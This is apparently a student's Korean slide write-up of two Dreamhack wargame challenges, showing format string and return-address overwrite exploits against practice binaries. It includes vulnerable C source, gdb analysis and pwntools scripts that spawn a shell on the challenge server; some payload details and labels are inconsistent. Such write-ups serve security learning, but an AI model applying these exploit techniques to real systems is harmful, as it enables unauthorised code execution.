FSB_심화 문제풀이

2학년 송지현

INDEX

dreamhack

basic_exploitation_002

basic_exploitation_002

문제 정보

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

Reference

Format String Bug

basic_exploitation_002

```
┌──(root㉿JINI-NOTE)-[/home/wlgus]
└─# checksec ./basic_exploitation_002
[*] '/home/wlgus/basic_exploitation_002'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

GOT Overwrite 가능

NX 보호 기법 활성화, 쉘 코드 실행 불가

basic_exploitation_002

Read 로 0x80 만큼 문자열을 입력 받기 때문에

Buffer over Flow 는 발생 X

```
31      read(0, buf, 0x80);
32      printf(buf);
```

Format String Bug 발생

```
1   #include <stdio.h>
2   #include <stdlib.h>
3   #include <signal.h>
4   #include <unistd.h>
5
6
7   void alarm_handler() {
8       puts("TIME OUT");
9       exit(-1);
10  }
11
12
13  void initialize() {
14      setvbuf(stdin, NULL, _IONBF, 0);
15      setvbuf(stdout, NULL, _IONBF, 0);
16
17      signal(SIGALRM, alarm_handler);
18      alarm(30);
19  }
20
21  void get_shell() {
22      system("/bin/sh");
23  }
24
25  int main(int argc, char *argv[]) {
26
27      char buf[0x80];
28
29      initialize();
30
31      read(0, buf, 0x80);
32      printf(buf);
33
34      exit(0);
35  }
```

basic_exploitation_002

```
21  void get_shell() {
22      system("/bin/sh");
23  }
24
25  int main(int argc, char *argv[]) {
26
27      char buf[0x80];
28
29      initialize();
30
31      read(0, buf, 0x80);
32      printf(buf);
33
34      exit(0);
35  }
```

get_shell 함수

system 함수로 shell 출력

flag를 획득할 수 있는 함수

basic_exploitation_002

```
21  void get_shell() {
22      system("/bin/sh");
23  }
24
25  int main(int argc, char *argv[]) {
26
27      char buf[0x80];
28
29      initialize();
30
31      read(0, buf, 0x80);
32      printf(buf);
33
34      exit(0);
35  }
```

main 함수

buf 배열 0x80(128) 할당

pritnf 함수로 buf 값 출력

exit 함수의 got 주소를 get_shell 주소로 변조

↓

바이너리 종료되지 않고 shell 실행

basic_exploitation_002

바이너리 실행

```
jini@JINI-NOTE:~$ ./basic_exploitation_002
aaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaa
```

단순히 사용자의 입력을 받아 출력

basic_exploitation_002

바이너리 실행

제어 문자		공백 문자		구두점		숫자		알파벳			
10진	16진	문자	10진	16진	문자	10진	16진	문자	10진	16진	문자
0	0x00	NUL	32	0x20	SP	64	0x40	@	96	0x60	`
1	0x01	SOH	33	0x21	!	65	0x41	A	97	0x61	a

```
jini@JINI-NOTE:~$ ./basic_exploitation_002
aaaa.%x.%x.%x.%x.%x.%x
aaaa.61616161.2e78252e.252e7825.78252e78.2e78252e.a7825
```

32bit, 4byte 체제 → aaaa 입력

aaaa 입력 → 바로 뒤 (첫번째 offset)에 저장

basic_exploitation_002

GDB 정적분석 – exit 함수

```
pwndbg> disass exit
Dump of assembler code for function exit@plt:
   0x08048470 <+0>:     jmp    DWORD PTR ds:0x804a024
   0x08048476 <+6>:     push   0x30
   0x0804847b <+11>:    jmp    0x8048400
End of assembler dump.
```

exit_got 주소

basic_exploitation_002

GDB 정적분석 – 함수 주소

0x08048609 get_shell

get_shell 함수 주소

```
pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483d8  _init
0x08048410  read@plt
0x08048420  printf@plt
0x08048430  signal@plt
0x08048440  alarm@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  exit@plt
0x08048480  __libc_start_main@plt
0x08048490  setvbuf@plt
0x080484a0  __gmon_start__@plt
0x080484b0  _start
0x080484e0  __x86.get_pc_thunk.bx
0x080484f0  deregister_tm_clones
0x08048520  register_tm_clones
0x08048560  __do_global_dtors_aux
0x08048580  frame_dummy
0x080485ab  alarm_handler
0x080485c2  initialize
0x08048609  get_shell
0x0804861c  main
0x08048650  __libc_csu_init
0x080486b0  __libc_csu_fini
0x080486b4  _fini
pwndbg>
```

basic_exploitation_002

Exploit

HEX	804 8609
DEC	134,514,185

숫자가 너무 크기 때문에 반을 나눠(%hn) 넣음

HEX	804
DEC	2052

HEX	8609
DEC	34313

exit_got -> get_shell

=> 0x804a024 -> 0x8048609

basic_exploitation_002

Payload

페이로드 구조

| exit_got + 2 | + | exit_got | = “%2044c%1$hn” + “%32261c%2$hn”

get_shell 함수의 주소

basic_exploitation_002

Payload

나눠 넣더라도 전체 주소의 10진수 변환 값과 동일해야 함

(exit + 2) + exit의 got 주소를 반 나눠 명시 → 4byte 씩 총 8byte

0x804 - 8 = 2052 - 8 = 2044

0x8609 - 0x804 = 34313 - 2052 = 32261

basic_exploitation_002

Payload 코드 작성

접속 정보

Host: host3.dreamhack.games
Port: 16318/tcp → 10001/tcp

---

nc host3.dreamhack.games 16318
http://host3.dreamhack.games:16318/

basic_exploitation_002

Payload 코드 작성

```python
from pwn import*

p = remote("host3.dreamhack.games", 16318)
exit = 0x804a024

payload = p32(exit + 2) + p32(exit) + "%2044c%32261c%2$hn"

p.send(payload)

p.interactive()
```

WSL: Ubuntu-20.04

basic_exploitation_002

Flag

```
-rwxr-xr-x 1 jini jini    184 May 28 13:54 basic_exploitation_002.py
```

755 권한 부여

```
jini@JINI-NOTE:~$ python basic_exploitation_002.py
```

→ 실행

basic_exploitation_002

Flag

```
  $$ ls
basic_exploitation_002
flag
$ cat flag
DH{[redacted]}$
```

flag 값

basic_exploitation_003

FLAG를 입력하세요

DH{[redacted]}

제출하기

basic_exploitation_003

basic_exploitation_003

문제 정보

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment

```
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

Reference

Return Address Overwrite

basic_exploitation_003

```
┌──(root㉿JINI-NOTE)-[/home/wlgus]
└─# checksec ./basic_exploitation_003
[*] '/home/wlgus/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

GOT Overwrite 가능

NX 보호 기법 활성화, 쉘 코드 실행 불가

basic_exploitation_003

```
23      sprintf(stack_buf, heap_buf);
```

sprintf 를 통해 전달, format string 이용

↓

Format String Bug 발생 가능

```
1   #include <stdio.h>
2   #include <stdlib.h>
3   #include <signal.h>
4   #include <unistd.h>
5   void alarm_handler() {
6       puts("TIME OUT");
7       exit(-1);
8   }
9   void initialize() {
10      setvbuf(stdin, NULL, _IONBF, 0);
11      setvbuf(stdout, NULL, _IONBF, 0);
12      signal(SIGALRM, alarm_handler);
13      alarm(30);
14  }
15  void get_shell() {
16      system("/bin/sh");
17  }
18  int main(int argc, char *argv[]) {
19      char *heap_buf = (char *)malloc(0x80);
20      char stack_buf[0x90] = {};
21      initialize();
22      read(0, heap_buf, 0x80);
23      sprintf(stack_buf, heap_buf);
24      printf("ECHO : %s\n", stack_buf);
25      return 0;
26  }
```

basic_exploitation_003

```
15  void get_shell() {
16      system("/bin/sh");
17  }
18  int main(int argc, char *argv[]) {
19      char *heap_buf = (char *)malloc(0x80);
20      char stack_buf[0x90] = {};
21      initialize();
22      read(0, heap_buf, 0x80);
23      sprintf(stack_buf, heap_buf);
24      printf("ECHO : %s\n", stack_buf);
25      return 0;
26  }
```

get_shell 함수

system 함수로 shell 출력

flag를 획득할 수 있는 함수

basic_exploitation_003

```
15  void get_shell() {
16      system("/bin/sh");
17  }
18  int main(int argc, char *argv[]) {
19      char *heap_buf = (char *)malloc(0x80);
20      char stack_buf[0x90] = {};
21      initialize();
22      read(0, heap_buf, 0x80);
23      sprintf(stack_buf, heap_buf);
24      printf("ECHO : %s\n", stack_buf);
25      return 0;
26  }
```

main 함수

heap_buf 를 0x80 만큼 동적 할당

steak_buf 를 0x90 만큼 할당

sprintf 함수 이용

printf 함수의 got 주소나 return 주소를 get_shell로 덮기

basic_exploitation_003

바이너리 실행

```
jini@JINI-NOTE:~$ ./basic_exploitation_003
aaaaaaaaaaaaaaa
ECHO : aaaaaaaaaaaaaaa
```

단순히 사용자의 입력을 받아 출력

basic_exploitation_003

바이너리 실행

제어 문자		공백 문자		구두점		숫자		알파벳			
10진	16진	문자	10진	16진	문자	10진	16진	문자	10진	16진	문자
0	0x00	NUL	32	0x20	SP	64	0x40	@	96	0x60	`
1	0x01	SOH	33	0x21	!	65	0x41	A	97	0x61	a

```
jini@JINI-NOTE:~$ ./basic_exploitation_003
aaaa %x %x %x %x %x %x
ECHO : aaaa 61616161 36313620 36313631 36332031 36333133 33203032
```

32bit, 4byte 체제 → aaaa 입력

aaaa 입력 → 바로 뒤 (첫번째 offset)에 저장

basic_exploitation_003

GDB 정적분석 – 함수 주소

printf_got 주소

```
pwndbg> disass printf
Dump of assembler code for function printf@plt:
   0x08048460 <+0>:     jmp    DWORD PTR ds:0x804a010
   0x08048466 <+6>:     push   0x8
   0x0804846b <+11>:    jmp    0x8048440
End of assembler dump.
```

basic_exploitation_003

GDB 정적분석 – 함수 주소

```
0x08048669  get_shell
```

get_shell 함수 주소

```
pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048414  _init
0x08048450  read@plt
0x08048460  printf@plt
0x08048470  signal@plt
0x08048480  alarm@plt
0x08048490  malloc@plt
0x080484a0  puts@plt
0x080484b0  system@plt
0x080484c0  exit@plt
0x080484d0  __libc_start_main@plt
0x080484e0  setvbuf@plt
0x080484f0  sprintf@plt
0x08048500  __gmon_start__@plt
0x08048510  _start
0x08048540  __x86.get_pc_thunk.bx
0x08048550  deregister_tm_clones
0x08048580  register_tm_clones
0x080485c0  __do_global_dtors_aux
0x080485e0  frame_dummy
0x0804860b  alarm_handler
0x08048622  initialize
0x08048669  get_shell
0x0804867c  main
0x08048700  __libc_csu_init
0x08048760  __libc_csu_fini
0x08048764  _fini
```

basic_exploitation_003

stack_buf의 주소는 ebp-0x98

stack_buf 가 ebp 로부터 0x98(152byte)
떨어져 있는 것 확인

```
pwndbg> disass main
Dump of assembler code for function main:
   0x0804867c <+0>:     push   ebp
   0x0804867d <+1>:     mov    ebp,esp
   0x0804867f <+3>:     push   edi
   0x08048680 <+4>:     sub    esp,0x94
   0x08048686 <+10>:    push   0x80
   0x0804868b <+15>:    call   0x8048490 <malloc@plt>
   0x08048690 <+20>:    add    esp,0x4
   0x08048693 <+23>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:    lea    edx,[ebp-0x98]
   0x0804869c <+32>:    mov    eax,0x0
   0x080486a1 <+37>:    mov    ecx,0x24
   0x080486a6 <+42>:    mov    edi,edx
   0x080486a8 <+44>:    rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:    call   0x8048622 <initialize>
   0x080486af <+51>:    push   0x80
   0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:    push   0x0
   0x080486b9 <+61>:    call   0x8048450 <read@plt>
   0x080486be <+66>:    add    esp,0xc
   0x080486c1 <+69>:    push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:    lea    eax,[ebp-0x98]
   0x080486ca <+78>:    push   eax
   0x080486cb <+79>:    call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:    add    esp,0x8
   0x080486d3 <+87>:    lea    eax,[ebp-0x98]
   0x080486d9 <+93>:    push   eax
   0x080486da <+94>:    push   0x8048791
   0x080486df <+99>:    call   0x8048460 <printf@plt>
   0x080486e4 <+104>:   add    esp,0x8
   0x080486e7 <+107>:   mov    eax,0x0
   0x080486ec <+112>:   mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:   leave
   0x080486f0 <+116>:   ret
End of assembler dump.
```

basic_exploitation_002

Exploit

stack_buf + SFP (4byte) + RET (4byte)

↓

152 + 4byte = 156

↓

156byte 만큼 채워 RET 부분에 get_shell 함수 주소 삽입

basic_exploitation_002

Payload 코드 작성

접속 정보

Host: host3.dreamhack.games
Port: 24518/tcp → 10001/tcp

---

nc host3.dreamhack.games 24518
http://host3.dreamhack.games:24518/

basic_exploitation_003

Payload 코드 작성

```python
from pwn import*

p = remote('host3.dreamhack.games', 24518)

get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p. interactive()
```

WSL: Ubuntu-20.04

basic_exploitation_003

Flag

```
-rwxr-xr-x 1 jini jini     161 May 28 16:28 basic_exploitation_003.py
```

755 권한 부여

```
jini@JINI-NOTE:~$ python basic_exploitation_003.py
```

→ 실행

basic_exploitation_002

Flag

```
ECHO :
                                                    i\x86\x04

$ ls
basic_exploitation_003
flag
$ cat flag
DH{                                                }$
```

flag 값

basic_exploitation_003

FLAG를 입력하세요

DH{ [redacted] }

제출하기

Q & A

감사합니다